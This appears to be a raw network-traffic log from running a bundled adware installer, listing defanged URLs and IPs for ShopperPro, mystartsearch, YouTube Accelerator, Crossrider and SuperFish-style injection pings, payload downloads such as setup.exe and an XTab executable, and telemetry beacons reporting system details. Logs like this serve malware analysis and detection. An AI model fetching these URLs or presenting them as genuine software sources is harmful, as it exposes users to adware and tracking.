hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/cR/19ZKgNBaI/T7vGnIrRllP XtorcoTKgxB9pWV4xt1MyRsTHPDdAhxgnfs KRSGXtmD8Dkx2dt2o5ApaNqnksNP54lXZxmkqCYJrC2d5/WmvCWkeRoBuc8AeJDgT7Zi0F/VPm5PDzJ8vVj3bGRolB7VfxlfOj3AprKaRosA0sEv7z7MjTyjNiO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJKsZRioLt78DHwtQGc0oJaxlp5CEEgFYW3dKsOukXQQd9FdfhVHQzGAE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93DG2fyXpvPO0S3k08LxhX7SrH0X1 ausfR5TX6K4Kv027USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B 050YsHrGqFtmnzicG6yEv4=	54.197.238.106
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423540772&SBPIDS=1	212.143.22.119
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=762876&mode=nolsp
hxxp://log.very911.com/install.gif?bundle=mystartsearch&ptid=smt&uid=535559167_198339_B48A115F
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ds
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.regok
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.hp
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=765184&mode=nolsp
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eFCD8T/coifCDzC3dWmgsjg2g5AFJwuPhmsPSIwNtx5dOfUh X e3KWVb3f653Ub2yLvqUuoT2b669uXeODcaUuDZbxKNz6N3xwxIY7FNY5m5LT87ehXavGh154/D7lxR1Rpsdyw5pJf2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOpfGsaHjTJJ OkhFwjO/Ynn73orNtwzTOp2kELh2lx9D 3u2eZStggbd Wx/3k3O9M9xHVjdaZ6/n0qRcYyYHfe9rliyyc3QirmuNRKejbyt1Cae/43hSAfNpMXUrP3YPcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXtLdVKK0d9mo0berm3dqCKtYPIZZ9UBD9PKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNzUMs7J9kDMQQ=	54.197.238.106
hxxp://download.dynect.mozilla.net/?product=firefox-34.0.5-complete&os=win&lang=en-US
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.1.0	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTJm eineCeW0E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQBCdBnO5fXI2a8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG&product=EXTFirefox&rnd=1423540776&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1	54.197.238.106
hxxp://www.google.com/
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=SuperFish	54.197.238.106
hxxp://a1284.g.akamai.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
hxxp://www.google.com.ua/?gfe_rd=cr&ei=J4LZVKenBIeu8wePyICgAw	173.194.113.223
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=JollyWallet	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=DealPly_NoPriceGong	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=PriceGong_DealPly	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=GeneralInjector	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=GoobzoInfo	54.197.238.106
hxxp://online.goobzo.com/online/Report.aspx	212.143.22.119
hxxp://www-google-analytics.l.google.com/ocsp
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.finish
hxxp://www.inipegcc.com/infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d
hxxp://www.inipegcc.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip
hxxp://bigspeedpro.com/webplayer/flvplayer/config.json
hxxp://bigspeedpro.com/webplayer/flvplayer/32x32.ico
hxxp://bigspeedpro.com/webplayer/flvplayer/flvplayer.ico
hxxp://bigspeedpro.com/webplayer/flvplayer/html/flvplayer.html
hxxp://bigspeedpro.com/webplayer/flvplayer/html/jwplayer.js
hxxp://bigspeedpro.com/webplayer/flvplayer/html/images/logo.png
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.8.2/jquery.min.js
hxxp://bigspeedpro.com/webplayer/flvplayer/html/images/btn.png
hxxp://bigspeedpro.com/webplayer/flvplayer/html/images/flv_02.jpg
hxxp://bigspeedpro.com/webplayer/flvplayer/html/images/bg_header.jpg
hxxp://bigspeedpro.com/webplayer/flvplayer/html/images/gui_btn.png
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ient
hxxp://www.inisxriy.com/files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe	50.23.120.57
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.wpm
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=3&index_in_screen=1&index_in_session=3&0.5153714941316139
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=4&index_in_screen=1&index_in_session=4&0.6678788560967368
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe
hxxp://errors.crossrider.com/utility.gif?error=start&report=mini_s&ver=820&action=na&ms_vr=3&clock=0&rnd=20191	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=10&n=ms_started&rnd=29132	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=20&n=ms_start_download&rnd=8631	208.85.150.249
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_a
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_e
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_c
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_b
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_d
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=30&n=ms_download_success&rnd=9423	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=35&n=ms_about_to_exc&rnd=3118	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?error=mem_strt&report=mini_s&ver=820&action=na&ms_vr=3&clock=3956&rnd=11942	208.85.150.249
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action1=install.smt
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1423540799
hxxp://up.soft365.com/Fan/rebirth?uid=535559167_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch
hxxp://xa.xingcloud.com/v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716
hxxp://xa.xingcloud.com/v4/searchprotect/535559167_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install
hxxp://ipgeoapi.com/
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-10&bic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0C0F36F89C9C467C97874D76CD233AF7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ClashProject&mdat=&procstarttime=1423540799&procruntime=2&rnd=1423540801
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423540799&asw=0_1073750533_-2147475456_0&browser=ff&rnd=1423540799
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1423540802
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1423540802
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1423540803
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1423540804
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1423540804
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1423540804
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1423540804
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1423540804
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1423540806
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1423540806
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1423540806
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1423540807
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1423540807
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0C0F36F89C9C467C97874D76CD233AF7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ClashProject&ieprofiles=na&chprofiles=na&ffprofiles=1&procstarttime=1423540799&procruntime=10&rnd=1423540809
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0C0F36F89C9C467C97874D76CD233AF7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1423540799&lifetime=0&silent=1&crtnm=ClashProject&procstarttime=1423540799&procruntime=10&rnd=1423540809
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423540799&asw=0_1073750533_-2147475456_0&browser=ff&rnd=1423540799
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt
hxxp://errors.crossrider.com/utility.gif?error=done_mem_0&report=mini_s&ver=820&action=na&ms_vr=3&clock=16190&rnd=4772	208.85.150.249
hxxp://bigspeedpro.com/webplayer/appshat/config.json
hxxp://appshat.com/images/64x64.ico
hxxp://appshat.com/images/16x16.ico
hxxp://appshat.com/home
hxxp://appshat.com/css/main.css
hxxp://googleapis.l.google.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.7.2/jquery.min.js
hxxp://appshat.com/css/style.css
hxxp://appshat.com/css/product.css
hxxp://appshat.com/css/lightbox.css
hxxp://appshat.com/js/scripts.js
hxxp://googleadapis.l.google.com/css?family=Abel
hxxp://appshat.com/js/jquery.smooth-scroll.min.js
hxxp://appshat.com/js/lightbox.js
hxxp://appshat.com/images/logo.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/1/3/13a052a6d8c62b7831aa10e2f6f37454.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png
hxxp://appshat.com/thumbnails/banner/images/assets/7/f/7fb9f4ca0fa96299334c18ee76c7b68b.jpg
hxxp://www.google.com.ua/s/abel/v6/3YEwT2a1878zysq92S8_9w.eot	173.194.113.223
hxxp://www-google-analytics.l.google.com/analytics.js
hxxp://appshat.com/images/4.5stars.jpg
hxxp://www-google-analytics.l.google.com/r/collect?v=1&_v=j32&a=2122274577&t=pageview&_s=1&dl=http://www.appshat.com/home&ul=en-us&de=utf-8&dt=Apps Hat&sd=32-bit&sr=1716x901&vp=1018x770&je=0&_u=MEAAAAgAI~&jid=284198992&cid=1848384720.1423540812&tid=UA-42656881-1&_r=1&z=356763116
hxxp://appshat.com/thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png
hxxp://appshat.com/images/5.0stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png
hxxp://appshat.com/thumbnails/icon/images/assets/6/a/6a12dc1a298e870b610a58a56ba0f5ec.jpg
hxxp://appshat.com/images/3.0stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/e/5/e54e8c720dffffa619c3b0eacec9381a.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/d/5dbc29649669598ff43174b9ee730008.png
hxxp://appshat.com/thumbnails/icon/images/assets/8/3/83a4cee7a59522b93ed0ae1fa73ce8f3.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png
hxxp://appshat.com/thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png
hxxp://appshat.com/thumbnails/icon/images/assets/b/b/bbbde9554589bda63791709a6785e0a3.png
hxxp://appshat.com/thumbnails/icon/images/assets/4/f/4f263f4be4c4396c9078d1874c05b928.png
hxxp://appshat.com/thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png
hxxp://appshat.com/images/4.0stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/a/6/a6ae526a0a22dcfc743a66d44a3e09e3.png
hxxp://appshat.com/images/3.5stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/c/c/cc3148e57a2928cd1ada1bbea553c3c2.png
hxxp://appshat.com/thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png
hxxp://appshat.com/thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png
hxxp://appshat.com/thumbnails/icon/images/assets/a/6/a64a4b5c68c364d30083fbd0b0363585.png
hxxp://appshat.com/thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png
hxxp://appshat.com/thumbnails/icon/images/assets/e/9/e94782c9200f8de809a50327879df1cc.png
hxxp://appshat.com/thumbnails/icon/images/assets/d/5/d586df222f5069b6c396373d67d0163b.png
hxxp://appshat.com/thumbnails/icon/images/assets/b/8/b85261679e262228a562f693b3e6ef6f.png
hxxp://appshat.com/thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png
hxxp://appshat.com/thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png
hxxp://appshat.com/images/logo_illust.jpg
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423540821&SBPIDS=1	212.143.22.119
hxxp://test.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE
hxxp://test.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE
hxxp://test.youtubeaccelerator.com/js/jquery-1.8.3.min.js
hxxp://test.youtubeaccelerator.com/googleanalytics.js
hxxp://rep.shopper-pro.com/app/ping.ashx?e=KSz5qzb2KgKyCpK5vbxu3HgOOk4ct2L21JTL4xSx1FWRoZJTpqsyZ quxda/Dun3 g9ahKuAGPNHi3MQ4TbJKWmlb8i35eag9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe899YNvMh53GZdODaDkAUnC4/kfaS0xvxjr7Lp8bM2zq8UETt5/U4HLkXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW aNKDh4dmbgaEpC43Yrp89RvUzp5P7xtxpmtPfLoqsZt80t8dT6BdnpggjzHXGMbB/NR8FfqzoH7R0qlvkz/HCDJ/Wd udVl70m30CyQo1Eg	54.197.238.106
hxxp://pagead.l.doubleclick.net/pagead/conversion.js
hxxp://test.youtubeaccelerator.com/img/accelerating-videos.jpg
hxxp://test.youtubeaccelerator.com/img/youtube-accelerator-logo.png
hxxp://v08oo0uy6-su78sj1t.netdna-ssl.com/app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540823&aff=JSsmtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js
hxxp://v08oo0uy6-su78sj1t.netdna-ssl.com/app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540823&aff=smtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804
hxxp://instshoppingateinfo.pricegongsoftwar.netdna-cdn.com/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2AwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&apptitle=ShopperPro&channel=iF2AwJSsmtycl
hxxp://instshoppingateinfo.pricegongsoftwar.netdna-cdn.com/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=IF2Awsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&apptitle=ShopperPro&channel=IF2Awsmtycl
hxxp://test.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish
hxxp://jwproductionvpclb-1443422270.us-east-1.elb.amazonaws.com/affiliate/client?dist=141&sub=iF2AwJSsmtycl&name=ShopperPro
hxxp://test.youtubeaccelerator.com/styles/yta.css?v=1
hxxp://flex.msn.com.nsatc.net/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js
hxxp://jwproductionvpclb-1443422270.us-east-1.elb.amazonaws.com/affiliate/client?dist=141&sub=IF2Awsmtycl&name=ShopperPro
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.11.1/jquery.min.js
hxxp://test.youtubeaccelerator.com/YTAFinishInstall.gif
hxxp://pagead.l.doubleclick.net/pagead/conversion/971163981/?random=1423540823357&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1
hxxp://www-google-analytics.l.google.com/r/collect?v=1&_v=j32&a=365954666&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1716x804&je=1&_u=MEAAAAQAI~&jid=2102596164&cid=1024568755.1423540823&tid=UA-40752970-2&_r=1&z=473279495
hxxp://flex.msn.com.nsatc.net/mstag/mstag.1003102000.js
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?0ca76ece53aaf28a
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?635717edfefce2e9
hxxp://d13j8bqw-l8bu4n1j.netdna-ssl.com/gen/helper.js	198.232.125.3
